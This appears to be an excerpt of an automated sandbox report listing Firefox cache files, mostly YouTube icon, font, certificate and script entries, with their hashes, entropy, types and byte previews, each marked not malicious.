SHA-512:	3D0901229B5BF54036DEDEC9D7CDB05BDB1300425C220D8EB9094FC8E77D3D1118C1994F13597AD3EA8D7331350DEB8C9970229591531902B43E2A8EA2D22E47
Malicious:	false
Reputation:	unknown
Preview:	..........L.O..P....'.~...=t.=U.}....$....\|...%..l..x...\|....5....c.[.....z.sn7.......4..{..p.\|..]s..88X....p<.....~.....y./..m\./...........(v.B+.0.}...ET...D.l.`b..-..;0.a...Q...I"...=...~..C....T.-Z..h.d+.A......wP.J...Z`,~......C#5AWt.De{z.cj%.g..-CZ.)1e.u.9#...$.b.y: ....k.wl.z...gl..H.......8a[.u........X.4.2.9o..#.U~.u.......X.V.!......<..=N.\...k..p........O.........d.w.....S<~j........e.dqe.dqFv..g.\|....l....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/broadcast/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYI

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\58A3645EA63E34F9D1E58BD69BF9287063486081

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2147549184
Category:	dropped
Size (bytes):	9811
Entropy (8bit):	6.2685400638800175
Encrypted:	false
SSDEEP:	192:+FihChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBEDEH:WzwHUL75Vf8eehqrufWWCt2BVBgY
MD5:	9836A6206DCFD3DD90C4EC56B2E27048
SHA1:	D889DC88D33CA39CE4454166FD5E469D023A0620
SHA-256:	A7C818FE80E34601A81F034599A2C7253105E2257736A88306550CAF4F4CE9EA
SHA-512:	61231910AFC6B51D9B23D8B9A4657E1409E8EF8F7ADEA4123CE1E961363190B68F98A791ED0BE8164BD7EF3985A53A4825DF479797B132866BDB741C10A5770C
Malicious:	false
Reputation:	unknown
Preview:	..........L..n.@.._...%...\|.).....,HF.;.T+....z(..o.3../.c....t...?.v.6l....U.\.<....}.........n.....9r..444..qZ...q........]/.O/..u.K.I.OTQS.H.#e..../........Ge.$S....."...3...`...l..Y..Q..F.#.....cDa.g..H..Z...Q.&U..c.D....RI.....Z......cw..E.=..({.h7.Zh.B.jf..d...;. E.7Q..#Fr$..IX...c..W.....{....W.p.+.......lP..GD.i..B.n.........&%QJ..I.M{z..t......[_..h...s...J.........e.due.dvFv..g.(....u....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/question_circle/v5/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIz

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\58A756A796A86993036E1F0F79183245EE2ABF58

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PEM certificate
Category:	dropped
Size (bytes):	13000
Entropy (8bit):	6.040216816828155
Encrypted:	false
SSDEEP:	384:HR3u9fiGLm4pUlvU6WvXk2WBcF5ePhETaIdq6/9/x:UBi8mCUlvRWvmBcF5ihQa8q6Vp
MD5:	1189B650CC65E59B7E32066656C68427
SHA1:	90450714E9223EF95B632E40CE97FB8C75CF93D5
SHA-256:	46D990B399FBFF95FAA2AB696578D2D4192143F9A1F5704FCD68A845917E24C5
SHA-512:	5250711131C84A873D39F86B7BA7346B75145EA626AAF0978599EC8ABB51E3FF66D9F323E3342F89BB6F640ECFB466A6A19AE4C4BA671C9FCD48182B49070481
Malicious:	false
Reputation:	unknown
Preview:	-----BEGIN CERTIFICATE-----.MIIDBTCCAougAwIBAgIIF4NGAGgAoGAwCgYIKoZIzj0EAwMwgaMxCzAJBgNVBAYT.AlVTMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMS8wLQYDVQQLEyZNb3pp.bGxhIEFNTyBQcm9kdWN0aW9uIFNpZ25pbmcgU2VydmljZTFFMEMGA1UEAww8Q29u.dGVudCBTaWduaW5nIEludGVybWVkaWF0ZS9lbWFpbEFkZHJlc3M9Zm94c2VjQG1v.emlsbGEuY29tMB4XDTIzMDgxMDE1NTQxMloXDTIzMTAyOTE1NTQxMlowgakxCzAJ.BgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1Nb3VudGFp.biBWaWV3MRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMRcwFQYDVQQLEw5D.bG91ZCBTZXJ2aWNlczE2MDQGA1UEAxMtcmVtb3RlLXNldHRpbmdzLmNvbnRlbnQt.c2lnbmF0dXJlLm1vemlsbGEub3JnMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8.zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7Gffqygmqry.EGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEo4GD.MIGAMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDAzAfBgNVHSME.GDAWgBSgHUoXT4zCKzVF8WPx2nBwp8744TA4BgNVHREEMTAvgi1yZW1vdGUtc2V0.dGluZ3MuY29udGVudC1zaWduYXR1cmUubW96aWxsYS5vcmcwCgYIKoZIzj0EAwMD.aAAwZQIxAKnhW7gpmEDAerMLSrR9kyCc82//G8dmfBsMJJxS6HNtZJi79sTvtm

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\59227B86E2DBE8C915299571CFE4A358BFA562EF

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2617245696
Category:	dropped
Size (bytes):	9573
Entropy (8bit):	6.154769346567094
Encrypted:	false
SSDEEP:	192:whChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE+BE+c:ZzwHUL75Vf8eehqrufWWCt2BVlh8
MD5:	85E762E617B647991CFB7F1FE0EF42C6
SHA1:	B7B000C453C5EE75D884612582FB19182BAC9F19
SHA-256:	D1EEBF98E15AD55E3E96BFA3C9120C39EEA7BB005531A963CC798491485FD20B
SHA-512:	AE9198215509665EC77A6C0F48BA658D092B4B9B855B493C5D9BFFBBF8E98CE5BB74BF860BFE6DEAB561A991588662C0E10442FD859519C3CE8F3AF5176209D2
Malicious:	false
Reputation:	unknown
Preview:	..........-.... .E....@[0.E}.....3...../..7.....Y.6....T.,...k.#...n..Q....9..1...6p....U{...6.X....2J..Hv=.7Z.=......DM'M..@..?{.+'.4\oM?..C.....2...........e.due.dvFv..g.K....k....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/arrow_up/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWgBSKdH+

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\599ED0EF31CAD4FEF69926D3A322C3A0364B4B00

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 32140, version 1.0
Category:	dropped
Size (bytes):	41517
Entropy (8bit):	7.89129793545358
Encrypted:	false
SSDEEP:	768:sWzfeCBJsfRau5EAgzQRLYxSjbminAOvb5oAqLR43U8JuzyUZVf8eehq4w2BVZ:sW6CB8RXraSj5nBqAqLgUtVZVfaBw2XZ
MD5:	0B66306CD759C8DF10700BD529BBB6BF
SHA1:	98E60D034D2F4357241200BE07A3F5456C81988E
SHA-256:	BC3D810D4239EA1D5AE8B12C20B0FBD9A1CEBD9BFFDB707051CA7284CF4C1D84
SHA-512:	DB37AD1A0E495CB140207B7759C10F9FCFB7F1F91933190FC1EE03F3BEB9019CA8DC6E54CDF4D38D8C7EA140882D8CFBF0DB0A26BD8E8DF200C68380FC8E5E00
Malicious:	false
Reputation:	unknown
Preview:	wOF2......}.......=(..}...........................'...\...?HVAR.n.`?STAT..'..,/\.....x.1..J.0..(.6.$.... ..&..d..[<+q..w.i...?..9f....w.s_R0......1.s...s...1.O...f.n......Xe.R.IJ.Y$e$QT....~d....Z...s.FKY].niUV.o..[...g.0.oX.....^..AQt.a..oI.yb....].s..?.{..-dZ.TyW..{..3.H.H._H".a.+....~=G....=l....~S...[s.o.U....bc.r.....{.{.A....3..". X.".......WV....E,..........b4Fc...o.g/\...(....\|.\|2.Q....Z...Vw.u.......#.....i..1......[...R....,!..B.%k4......p(...W~....@].x.............k.$.LF=<n.?.Q....~1.M.......+..AB..D..b$...I..q...3.m.Y...v..0.=.....f....I!E~.%...S.].AY...........[..a.~.....&.!]..Y..,...\k.........L..q.n.3.Tf.}...PQ..B.z9.'.......p._7K..Dt.j.8.....}.._..+.....V3..At.=?D.^...$...@..q..q.GA..Z....P%.&[.+.4.#..:.K.-...dG.: L.^....Y.E.e.....L..G.jg.gf.Jv....^.....bs..).?#).G`........U._..h....AZ..6)Ga..p%.B_.... .r.:.......eR.....eJ...J:9...\|.N'.cS.0.......-..^..#.3.4L....(....g.OH1j ..!..O.~..@..j._W..APsr\|l..Y+.;n..Z...M..w=.]).Y...$G'r.[..P

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\629A321F0AC373A586B46A52889FEF90A2570B88

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	16729
Entropy (8bit):	6.381568975669158
Encrypted:	false
SSDEEP:	384:uhotzKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVNHYu:u6NgdjAudZNL28eehq4w2BVZYu
MD5:	8C9D261B5EA03521C060553B97010D59
SHA1:	EDBA90AF7FA6D5136CF2CA386D17D94F1DB49272
SHA-256:	3DF69170DC0CD1C5169462B318D8AFF597D70CFFDA3BC1C3649550FAD6E51BD1
SHA-512:	022E5829D73669B399B136DB560FF31D64C342ED4460040196B55BE7077971063E204EEB0523E6382AD2427C2EFD57A9F7F6DBDBF65400BC49364E878E985E2E
Malicious:	false
Reputation:	unknown
Preview:	......iE..u.n~....<k.oe....i....I.d.0.f..A.?......nq+.;..d..$.\U...1t}..O..c.......}......N..7............B.....6j.?_u..q[w......\...c.....Q{.O.q...:`.f.~.W.F=.{......'......._$..!.!........W.......Z....d.\|...O.z...G.0E.H.,L(..!.N.T...j+..FdaV.X...,...L1..J.E,...PW..#.l.@t.9.jj."!d....N...e.....RT..%...x5=._.....r. .b...o...]...2.$.zkJ.e..Fn.s.6.B.J,Vb%.......7i9...}U....M4.b4\..k..%2%q.z.hw.....^..Q.S..$..P..7...uO...4..TZ$].&.yi..M...L.......(.+..9B,Y..A.d\.Dl.:\C&.F..&Eq#.....3...5.1...G+O.Q'.....5.e.Q5...We6.bT!.BF.').....~$.)...k.$o..R)1.ZU.......$..b7Rw..Wq#@nJf;b,...6&u;z-.8.1..%].-.d.i.A...hi..n.J..b4.S !b%.N.d...'..........Z..P\...6.g...W..y=.....eI..J...R..JIky-..Y...).0.%g".8..3.5.:\.......b.5.i.C.r,R.in.l.k=..f..51...L".{.P..x0Y7!.9.../[f#0.u...$=U3K.s.X..hK....FJJr.r1..:R&d.P.1M,.b..K....O.V.N....!x...%~oN../~./...o>...u.f....../T.;......8Z.T.Ny.I7.....!=.".`.\......@.8O.#/.R.....8........H^.b&.(A......0....C.*O/.....E .&.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\66C97C4C302F257D5DAFEF4962F08E7829EA279A

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (65405)
Category:	dropped
Size (bytes):	8411130
Entropy (8bit):	5.623860920194708
Encrypted:	false
SSDEEP:	49152:ZzP+ZvGHiVGZ/qXyPqLbT0KGWTuYJqPukJcD2hk9KaO3cGJAg/y11QL8cpawlE5p:WblGW5ukKRpXvtq
MD5:	61F2E405787E37BEA3F4E7E14C87F024
SHA1:	3AF00260FE5F1338DCF4BFFF7D647C96F0F23C1A
SHA-256:	0489ECEF9D6BDF8502B2EE0089BF2021AF80A80D1FC19166CBD7A8F9EF64F0E6
SHA-512:	CDC05377E7B430C2EC71E6C1BC5C42D5AA9C3E8B5441DD75C801BD9237C722D2DF3181AED206983CAE289AE729A09574D5878200A577E0D1A23A7B031AC5C9F7
Malicious:	false
Reputation:	unknown
Preview:	(function(){./* HTML content inlined from HTML import */.const d=document.createElement("div");.d.setAttribute("inlined-html","");.const finalStyleText="html:not(.style-scope) {\n --primary-text-color: var(--light-theme-text-color);\n --primary-background-color: var(--light-theme-background-color);\n --secondary-text-color: var(--light-theme-secondary-color);\n --disabled-text-color: var(--light-theme-disabled-color);\n --divider-color: var(--light-theme-divider-color);\n --error-color: #dd2c00;\n --primary-color: #3f51b5;\n --light-primary-color: #c5cae9;\n --dark-primary-color: #303f9f;\n --accent-color: #ff4081;\n --light-accent-color: #ff80ab;\n --dark-accent-color: #f50057;\n --light-theme-background-color: #fff;\n --light-theme-base-color: #000;\n --light-theme-text-color: #212121;\n --light-theme-secondary-color: #737373;\n --light-theme-disabled-color: #9b9b9b;\n --light-theme-divider-color: #dbdbdb;\n --dark-theme-background-color: #212121;\n --dark-theme-b

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\67A9CE03B282C3963A949C589B4D59FFF3B4EDBF

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2097217536
Category:	dropped
Size (bytes):	9800
Entropy (8bit):	6.266942055657121
Encrypted:	false
SSDEEP:	192:/PJhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBE1sE1F:izwHUL75Vf8eehqrufWWCt2BVB8s8F
MD5:	A13B0A9FB2A2D621458440FC030F60AB
SHA1:	E40F512BABE1C920D12C00F54878C321316C5E2C
SHA-256:	A0B1DEDBD1F31722BA8E1831F10BFF62FDC5F5D98B4C391B34A85508DDE5D51B
SHA-512:	8D0C40E272FD9300D30D6A7276FBE2049007EB08A96F6F0CFBDC1E7091A1C67D5F2253A5BF1A073E3ED4EF81C2A370638486812E9B87E5EF0BAECAE63701D9F7
Malicious:	false
Reputation:	unknown
Preview:	..........L.O..@....w)#...$...S.......Y.i....MZ(c.'$..gf=?........./..,.d.}.W.RZ.c..u.v>..n.u.....7... !A.j....8.7]...\|.}n....i..Zy.~..'.7.w..(s.({%.....8\|L.v'....$\...?.....8.A.=C.$s....rqRV.>.L=^......m].....:..k.gqxp.E}^..1...W.83)BC...........:...ad'... aH.........q..s1.0g5bX2...dTQ..%..c..U..5.F...9.._K.x...Z.....A.W2..$....g..j.F..(...j..j..........s%..Q.....@..S........e.dqe.dqFv..g.....o....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/broadcast/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQg

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\680E7BE2295014F772568C89585CC1DC912F77FB

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2348810240
Category:	dropped
Size (bytes):	9555
Entropy (8bit):	6.150555524588969
Encrypted:	false
SSDEEP:	192:KrhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE3En:KIzwHUL75Vf8eehqrufWWCt2BVlQA
MD5:	30D73286B786559453C3940CB212F903
SHA1:	BAFD48228FE9EA3D43283A20F23C1E9B4E8D718C
SHA-256:	DDFD2858C01E92F4631C87FC7D6F49EEC3EE885193BA8DF57E414AEC806DA50B
SHA-512:	7C93AA555BD4D45FBD50CBB91A7D66282AC6F21B9296D18DC54A6E2F5B183411200730FB17AF397622704F7ABF15D280994C7B5C5A4555B9AFD713275B71CBC1
Malicious:	false
Reputation:	unknown
Preview:	..........M...0...W...N..J20uaeGj.D..j....!......%.6....\|UJD.....D.~..8...C6.%.r.6...l.f........#......cl/.?#..t.....Qy[.....-......?...........e.dqe.dqFv..g.I....i....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/bars_3/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWgBSKdH+vhc3ulc09nNDiRhTzc

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\69307F272DA005E3A563EC00E71B0D82734D9BBC

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3137339392
Category:	dropped
Size (bytes):	9606
Entropy (8bit):	6.168451952553201
Encrypted:	false
SSDEEP:	192:TJhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEtEp:TSzwHUL75Vf8eehqrufWWCt2BVl0o
MD5:	CAE7C6C58D90AD0ADED814F8DB923387
SHA1:	CF90FF8DD2728FE73D38D99ED9802472A9ECE6D4
SHA-256:	816281CEB8EC8000F9A25424081AE041F09793B409DBC65B666CF7B1046E2461
SHA-512:	277029F8BC920043E6351EBB40998E6EC576D85671E1E985B7721E7433FC2568C7D582C93ACE03496460C9AC2DC1BCE57320697850B479BB6930177AC0B49C70
Malicious:	false
Reputation:	unknown
Preview:	..........M....0.._%........N,].C.0..4A<}C.....N.v.c..h.z..{..8Z..K!...J...am.z........F.....z.%....?......:.?..."..O..Y...J...b9.@(..R..2p..N.D+T:.4\.91I...$.B''.Uq.Z}..\.7....t..R.C........e.due.dvFv..g.8q...o....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/trash_can/v5/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\69455E9F6ABEDFC78866EDEA94CB9D51C573A013

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	126
Entropy (8bit):	5.053519535595562
Encrypted:	false
SSDEEP:	3:aQlqhwvhRatl3BMqEcldnX+OGTAMrRzcSLUxGTKlLjOKf6T0tn:bqahaRiclp+OGb9LUxG0OKLtn
MD5:	09E065A074B91CEA08389B5EED540894
SHA1:	03375D1C0972145A1EFFBB357A3BDB538DACAAED
SHA-256:	6D2F14DF879B46FD7E6B9A67A59C9815FC3CEDBCF4463768094942856165DBD4
SHA-512:	D423636613B1D472BD45D52A3BA952CD6108516183EEA00F5B85BC7DF3A3DB6182E970CC9340BE77EC6F6E72382B410E8D070FEC9366D4495254058B1F5BE306
Malicious:	false
Reputation:	unknown
Preview:	..........e.dJe.dJFv.........B....O^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/.necko:classified.1.....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\69F6958DEB0D775A893D1F0CE28C27CCF1ABABA0

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 1744896000
Category:	dropped
Size (bytes):	9785
Entropy (8bit):	6.259129138703534
Encrypted:	false
SSDEEP:	192:f65hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBEWEK:RzwHUL75Vf8eehqrufWWCt2BVBJ5
MD5:	2A06DB0009B544794F3211465FF32522
SHA1:	67B4130A6EAEA7B83137638B3752CEA47272F22D
SHA-256:	EADECB5747E0BC1C25D74E5881099E8B3F1BE14279085095D3075147043EFD67
SHA-512:	96DF626293ED44A54D4EAB9C4D4098C3A3A8D32E8065EC37BEF71593733C36416565048D8B261D7B400B1158293915C4CADF1981FA6201EC83BECB6C6308A340
Malicious:	false
Reputation:	unknown
Preview:	..........<R.j.L.}...u2.f..G..6...,iI..m.....9e.....#y...._._.o..<..m6.pq~.9m.....O....y..V../.....PP`..[.o.yM.?.3.v....Y'........+....#..e..@...Q..,..@....+.c....]..E9.8c...2.'q...........q,b4......10e....-...5.\..Z.qjP..4H......;....s........K...}.i.p...y..<K....O..Q.1jbT..Tj..hj...)#r.y...;l...8....:2*4.....t....6.m.........l.3...F.v..P........e.due.dvFv..g......s....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/person_circle/v8/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\6AC60E469F3C7563CD178588A7A2ED326ED2A51C

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2533425152
Category:	dropped
Size (bytes):	9829
Entropy (8bit):	6.275835149540603
Encrypted:	false
SSDEEP:	192:TahChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBEEEN:rzwHUL75Vf8eehqrufWWCt2BVBfa
MD5:	8A9303F2D3C70E56205B0369A6B2C735
SHA1:	4BCA5D9C8753614D839FF9AC507898CD946F2081
SHA-256:	C06BA1DF17F7A9E1F8616F3CD6B6FC92B9924E6F339DDA8C2C38611ADADEC096
SHA-512:	8877622ECA291A89C860622A4FCCA1660B26264B9D259919173B44CE75F91D3B4231DC1059301A3F45C3D50C3C338871EF7E9003625E97F8975F925C7FDA921F
Malicious:	false
Reputation:	unknown
Preview:	..........4R.n.@...Bw>......rp...J`....6..__Pi.....}...m.}?.....c.[......e.)..}..4._/..0...\..._.!Q"u..z}{L.........0.....29.n.T ...-e2H9..tt[.BuVx.`#C2Re....!m.$....4ch%.2..&.ld...,...lH..H.Q`.c.E).*d.....^...J.Xj<TA...IhKA.(YI....I.u.d.h=..\|.....+.+.......3.....D..Wqj(.\QtT..2.R.7.a..!7........=h.V.....7.2%..........-.!.sL6.z.w...T...r..y..P#.nM-hD.s2.(..4d....F@.......v.}\|..........\|.....C..../........e.due.dvFv..g..K...p....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/volume_off/v4/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwY

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\6D89348819C8881868053197CA0754F36784BF5F

